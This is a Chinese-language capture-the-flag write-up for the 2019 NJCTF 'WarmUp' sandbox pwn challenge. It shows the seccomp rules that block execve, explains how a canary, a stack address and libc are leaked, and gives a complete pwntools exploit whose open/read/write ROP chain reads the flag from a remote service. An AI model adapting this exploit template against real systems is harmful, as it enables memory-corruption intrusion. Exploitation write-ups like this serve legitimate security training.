2019 NJCTF WarmUp

一道沙箱题

主函数:

seccom 函数中做了一些沙箱规则,看不懂不要紧,直接使用 seccom 进行 dump 出规则。

参考:https://www.anquanke.com/post/id/186447#h2-15

  • 使用方法:
ubuntu@VM-0-3-ubuntu:~/h4lo$ seccomp-tools dump -c ./warm_up 
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x05 0xc000003e  if (A != ARCH_X86_64) goto 0007
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x02 0xffffffff  if (A != 0xffffffff) goto 0007
 0005: 0x15 0x01 0x00 0x0000003b  if (A == execve) goto 0007
 0006: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0007: 0x06 0x00 0x00 0x00000000  return KILL

很清楚看到这里限制了 execve 函数的调用,那么可以使用 open、read、write 进行读取 flag 的操作,可以参考 pwnable.tw orw 题目。

溢出点

溢出点在下一个函数,这个函数存在 canary 保护,两个溢出点,那么很明显第一个使用覆盖低字节的方法进行泄露出 canary ,第二次构造 rop 即可。

注意点

  • 注意这里调用 open 函数时,第一个参数是一个指针类型,不是字符串!!!所以这里将 ‘flag’ 字符串放在栈上之后,还要泄露一次栈地址(前面泄露 canary 时可以一并泄露),然后 read 函数的第一个参数为 3(固定)即可,read 第二个参数放在栈上即可。

系统调用表在 /usr/include/x86_64-linux-gnu/asm/unistd_64.h 中(64 位)

exp

from pwn import *


context.arch="arm64"
#r = process("./warm_up")
r = remote("139.129.76.65", 50007)
elf = ELF("./warm_up")
libc = elf.libc

r.recv()
r.send("A"*0x18+'A')


r.recvuntil("A"*0x19)
canary = u64(r.recv(7).rjust(8,"\x00"))

success("canary: "+ hex(canary))

stack_addr = u64(r.recv(6).ljust(8,"\x00"))

success("stack_addr: " + hex(stack_addr))

payload = ""
payload += "A"*0x18+p64(canary)

payload += "B"*0x8

payload += p64(0x0000000000400B30)

r.send(payload)



sleep(0.2)
r.recv()
r.recv()
r.send('A'*0x40)
r.recvuntil("A"*0x40)

libc_addr = u64(r.recv(6).ljust(8,"\x00"))-0xf0-libc.symbols["__libc_start_main"]

success("libc_addr: " + hex(libc_addr))

r.recv()

payload = "A"*0x18
payload += p64(canary)
payload += "flag\x00\x00\x00\x00"

rop_chain = [
        libc_addr+0x0000000000033544,   # pop rax ; ret
        2,
        libc_addr+0x0000000000021102,   # pop rdi ; ret
        stack_addr-0x18,
        libc_addr+0x00000000000202e8,   # pop rsi ; ret

        0,
        libc_addr+0x000000000122198,                    # syscall
        
        libc_addr+0x0000000000033544,
        0,
        
        #libc_addr+0x00000000000348fd,  # push rax ; ret
        libc_addr+0x0000000000021102,   # pop rdi ; ret
        3,
        libc_addr+0x00000000000202e8,   # pop rsi ; ret
        libc_addr+libc.symbols['environ']-0xf8,
        
        libc_addr+0x0000000000101ffc,   # pop rdx ; pop rbx ; ret
        0x40,
        0,
        
        libc_addr+0x000000000122198,    # syscall

        libc_addr+0x0000000000033544,
        1,
        libc_addr+0x0000000000021102,   # pop rdi ; ret
        1,
        libc_addr+0x00000000000202e8,
        libc_addr+libc.symbols['environ']-0xf8,

        libc_addr+0x0000000000101ffc,   # pop rdx ; pop rbx ; ret
        0x40,
        0,
        libc_addr+0x000000000122198
        #elf.plt['exit']
                
]

#print flat(rop_chain)
payload += flat(rop_chain)

pause()
r.send(payload)

r.interactive()

posted @ 2019-11-24 11:27  H4lo  阅读(478)  评论(0编辑  收藏  举报